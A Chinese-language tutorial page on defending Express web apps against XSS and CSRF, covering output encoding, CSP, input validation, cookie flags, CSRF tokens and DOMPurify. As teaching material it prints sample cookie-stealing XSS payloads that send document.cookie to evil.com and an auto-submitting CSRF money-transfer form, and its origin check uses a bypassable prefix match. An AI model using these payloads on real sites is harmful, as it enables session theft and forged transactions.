全部学科
Python全栈
python
NodeJS全栈
nodejs
小程序首页
📅 2026-05-14 10 分钟 ✍️ juanwangdev

XSS与CSRF防护

XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是 Web 安全两大威胁,必须正确防护。

XSS 攻击与防护

XSS 类型

类型原理危害等级
反射型恶意脚本通过 URL 参数注入
存储型恶意脚本存储在服务器数据库极高
DOM型客户端 JavaScript 动态执行恶意代码

XSS 攻击示例

JavaScript
// 恶意输入
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

// 存储型攻击
<img src=x onerror="fetch('http://evil.com/steal?cookie='+document.cookie)">

// DOM型攻击
<div onmouseover="alert('XSS')">hover me</div>

防护策略

1. 输出编码

JavaScript
// 使用专门的编码库
const escapeHtml = require('escape-html');

// HTML 编码
function sanitize(str) {
  return escapeHtml(str);
}

// 不同上下文使用不同编码
const encoder = {
  html: (str) => str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;'),

  js: (str) => str
    .replace(/\\/g, '\\\\')
    .replace(/"/g, '\\"')
    .replace(/'/g, "\\'")
    .replace(/\n/g, '\\n'),

  url: (str) => encodeURIComponent(str)
};

2. 内容安全策略(CSP)

JavaScript
// Express 设置 CSP
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; " +
    "script-src 'self' https://cdn.trusted.com; " +
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:; " +
    "connect-src 'self' https://api.trusted.com; " +
    "frame-ancestors 'none';"
  );
  next();
});

// 使用 helmet
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.trusted.com"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.trusted.com"],
    frameAncestors: ["'none'"]
  }
}));

3. 输入验证

JavaScript
const validator = require('validator');

// 验证并清理输入
function validateInput(input) {
  // 移除危险字符
  let cleaned = validator.escape(input);

  // 验证格式
  if (!validator.isLength(cleaned, { max: 100 })) {
    throw new Error('Input too long');
  }

  return cleaned;
}

// 使用 Joi 验证
const Joi = require('joi');

const schema = Joi.object({
  username: Joi.string().alphanum().max(30).required(),
  email: Joi.string().email().required(),
  bio: Joi.string().max(500).escape()  // 自动转义
});

4. HttpOnly Cookie

JavaScript
// Express 设置安全 Cookie
app.use(require('cookie-session')({
  name: 'session',
  keys: ['secret-key'],
  httpOnly: true,    // 防止 JavaScript 访问
  secure: true,       // 仅 HTTPS
  sameSite: 'strict', // CSRF 防护
  maxAge: 24 * 60 * 60 * 1000
}));

CSRF 攻击与防护

CSRF 攻击原理

HTML
<!-- 恶意网站发起请求 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

<!-- 或隐藏表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>

防护策略

1. CSRF Token

JavaScript
const csrf = require('csurf');
const express = require('express');
const app = express();

// 启用 CSRF 保护
const csrfProtection = csrf({ cookie: true });

// 生成 Token
app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

// 验证 Token
app.post('/process', csrfProtection, (req, res) => {
  res.send('Data processed');
});

2. SameSite Cookie

JavaScript
// Express 设置 SameSite
app.use(require('cookie-session')({
  name: 'session',
  keys: ['secret'],
  sameSite: 'strict'  // 或 'lax'
}));

// 详细配置
res.cookie('session', 'value', {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'  // 严格禁止跨站发送
});
SameSite 值行为
strict完全禁止跨站发送 Cookie
lax允许安全跨站请求(GET 链接)
none允许跨站发送(需配合 secure)

3. 验证 Referer/Origin

JavaScript
// 中间件验证来源
function verifyOrigin(req, res, next) {
  const origin = req.get('origin') || req.get('referer');
  const allowedOrigins = ['https://mysite.com', 'https://www.mysite.com'];

  if (origin && allowedOrigins.some(o => origin.startsWith(o))) {
    next();
  } else {
    res.status(403).json({ error: 'Invalid origin' });
  }
}

app.post('/sensitive-action', verifyOrigin, handler);

4. 双重 Cookie 验证

JavaScript
// 前端发送时携带 Cookie 值
function getCsrfToken() {
  return document.cookie
    .split('; ')
    .find(row => row.startsWith('csrf_token='))
    ?.split('=')[1];
}

// 请求时在 header 中发送
fetch('/api/action', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCsrfToken()
  }
});

// 后端验证
app.use((req, res, next) => {
  const cookieToken = req.cookies.csrf_token;
  const headerToken = req.headers['x-csrf-token'];

  if (cookieToken && cookieToken === headerToken) {
    next();
  } else {
    res.status(403).json({ error: 'CSRF validation failed' });
  }
});

综合防护配置

Express 安全中间件

JavaScript
const express = require('express');
const helmet = require('helmet');
const csrf = require('csurf');
const rateLimit = require('express-rate-limit');
const xss = require('xss-clean');

const app = express();

// 安全 Headers
app.use(helmet());

// XSS 清理
app.use(xss());

// CSRF 保护
app.use(csrf({ cookie: true }));

// 请求体限制
app.use(express.json({ limit: '10kb' }));

// 速率限制
app.use(rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 100
}));

前端安全配置

JavaScript
// Axios 配置 CSRF
import axios from 'axios';

const api = axios.create({
  baseURL: '/api',
  withCredentials: true,
  headers: {
    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  }
});

// React 渲染时转义
import DOMPurify from 'dompurify';

function SafeHtml({ html }) {
  return <div dangerouslySetInnerHTML={{
    __html: DOMPurify.sanitize(html)
  }} />;
}

注意:XSS 和 CSRF 防护应同时启用,单一防护无法覆盖所有攻击场景。

要点总结

  • XSS 防护:输出编码 + CSP + HttpOnly Cookie + 输入验证
  • CSRF 防护:CSRF Token + SameSite Cookie + Origin 验证
  • 使用 helmet 和 csurf 中间件快速实现防护
  • 前端渲染用户内容时使用 DOMPurify 清理
  • Cookie 配置 httpOnly、secure、sameSite 三重保护

📝 发现内容有误?点击此处直接编辑

← 上一篇 HTTPS与TLS配置
下一篇 → 依赖管理(npm audit)
想查看更多题目和详细解析?
小程序提供完整的题库、模拟考试和详细解析
马上就来

长按或扫描二维码,立即体验

扫码体验小程序
马上就来
使用微信扫描二维码
立即体验完整题库